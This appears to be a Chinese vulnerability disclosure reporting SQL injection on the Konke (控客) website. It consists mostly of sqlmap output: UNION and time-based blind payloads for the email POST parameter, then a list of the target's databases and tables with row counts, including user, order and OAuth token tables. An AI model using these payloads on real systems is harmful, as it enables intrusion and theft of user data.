88952634 mysql_控客www站注入（控制全国所有用户/全部设备/全部订单）

back-end DBMS: MySQL 5.0.11

Database: daike

+---------+---------+

| Table | Entries |

+---------+---------+

| tb_user | 2002 |

+---------+---------+sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: email (POST)

Type: UNION query

Title: MySQL UNION query (random number) - 3 columns

Payload: username=88952634&email=-5595' UNION ALL SELECT 7545,CONCAT(0x716b787a71,0x6359434c527742725856,0x7162707071),7545#Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: username=88952634&[email protected]' AND SLEEP(5) AND 'KRFw'='KRFw

---

web application technology: Apache

back-end DBMS: MySQL 5.0.11

Database: cdcol

+---------------------------------------+---------+

| Table | Entries |

+---------------------------------------+---------+

| cds | 3 |

+---------------------------------------+---------+Database: phpmyadmin

+---------------------------------------+---------+

| Table | Entries |

+---------------------------------------+---------+

| pma_userconfig | 2 |

| pma_recent | 1 |

+---------------------------------------+---------+Database: daike

+---------------------------------------+---------+

| Table | Entries |

+---------------------------------------+---------+

| tb_user | 2002 |

+---------------------------------------+---------+Database: shiro-oauth2

+---------------------------------------+---------+

| Table | Entries |

+---------------------------------------+---------+

| k_info | 29 |

| oauth2_client | 2 |

| oauth2_user | 1 |

+---------------------------------------+---------+Database: performance_schema

+---------------------------------------+---------+

| Table | Entries |

+---------------------------------------+---------+

| setup_consumers | 8 |

| performance_timers | 5 |

| setup_timers | 1 |

+---------------------------------------+---------+Database: webauth

+---------------------------------------+---------+

| Table | Entries |

+---------------------------------------+---------+

| user_pwd | 1 |

+---------------------------------------+---------+Database: downloaddb

+---------------------------------------+---------+

| Table | Entries |

+---------------------------------------+---------+

| tb_usage | 260216 |

| tb_download_statistics | 1 |

+---------------------------------------+---------+Database: kserver

+---------------------------------------+---------+

| Table | Entries |

+---------------------------------------+---------+

| oauth2_token | 21 |

| oauth2_code | 19 |

| k_info | 17 |

| tb_user | 17 |

| oauth2_client | 2 |

| tb_authority | 1 |

| tb_functions | 1 |

+---------------------------------------+---------+Database: mysql

+---------------------------------------+---------+

| Table | Entries |

+---------------------------------------+---------+

| time_zone_transition | 117210 |

| time_zone_transition_type | 7716 |

| time_zone | 1685 |

| time_zone_name | 1685 |

| columns_priv | 29 |

| tables_priv | 4 |

| `user` | 3 |

| db | 1 |

| proc | 1 |

| proxies_priv | 1 |

+---------------------------------------+---------+Database: test

+---------------------------------------+---------+

| Table | Entries |

+---------------------------------------+---------+

| tb_user | 83719 | APP用户

| oauth_client_details | 2 |

| oauth_access_token | 1 |

| oauth_refresh_token | 1 |

| user_ | 1 |

+---------------------------------------+---------+Database: advertise

+---------------------------------------+---------+

| Table | Entries |

+---------------------------------------+---------+

| ad_mac | 169 |

| ad_type | 2 |

+---------------------------------------+---------+Database: yiqicms

+---------------------------------------+---------+

| Table | Entries |

+---------------------------------------+---------+

| yiqi_regular | 43 |

| yiqi_settings | 21 |

| yiqi_article | 16 |

| yiqi_meta | 16 |

| yiqi_navigate | 3 |

| yiqi_templets | 2 |

| yiqi_category | 1 |

| yiqi_comments | 1 |

| yiqi_users | 1 |

+---------------------------------------+---------+Database: information_schema

+---------------------------------------+---------+

| Table | Entries |

+---------------------------------------+---------+

| COLUMNS | 1169 |

| SESSION_VARIABLES | 328 |

| GLOBAL_VARIABLES | 317 |

| GLOBAL_STATUS | 310 |

| SESSION_STATUS | 310 |

| COLLATION_CHARACTER_SET_APPLICABILITY | 197 |

| COLLATIONS | 197 |

| STATISTICS | 153 |

| PARTITIONS | 143 |

| TABLES | 143 |

| KEY_COLUMN_USAGE | 125 |

| TABLE_CONSTRAINTS | 89 |

| USER_PRIVILEGES | 57 |

| CHARACTER_SETS | 39 |

| COLUMN_PRIVILEGES | 29 |

| PLUGINS | 20 |

| SCHEMATA | 16 |

| ENGINES | 9 |

| INNODB_CMP | 5 |

| INNODB_CMP_RESET | 5 |

| INNODB_CMPMEM | 5 |

| INNODB_CMPMEM_RESET | 5 |

| SCHEMA_PRIVILEGES | 5 |

| TABLE_PRIVILEGES | 2 |

| INNODB_TRX | 1 |

| PROCESSLIST | 1 |

| ROUTINES | 1 |

+---------------------------------------+---------+Database: kcredit

+---------------------------------------+---------+

| Table | Entries |

+---------------------------------------+---------+

| tb_usereventlog | 121768 |

| tb_user | 90718 | 商城用户

| tb_coupon | 23414 |

| tb_kmoneyhistory | 16346 |

| tb_order | 1025 |商城订单

| tb_aliorderlog | 931 |

| tb_activityregistration | 923 |

| tb_product | 26 |

| tb_activity | 7 |

| tb_ad | 3 |

| tb_admin | 1 |

+---------------------------------------+---------+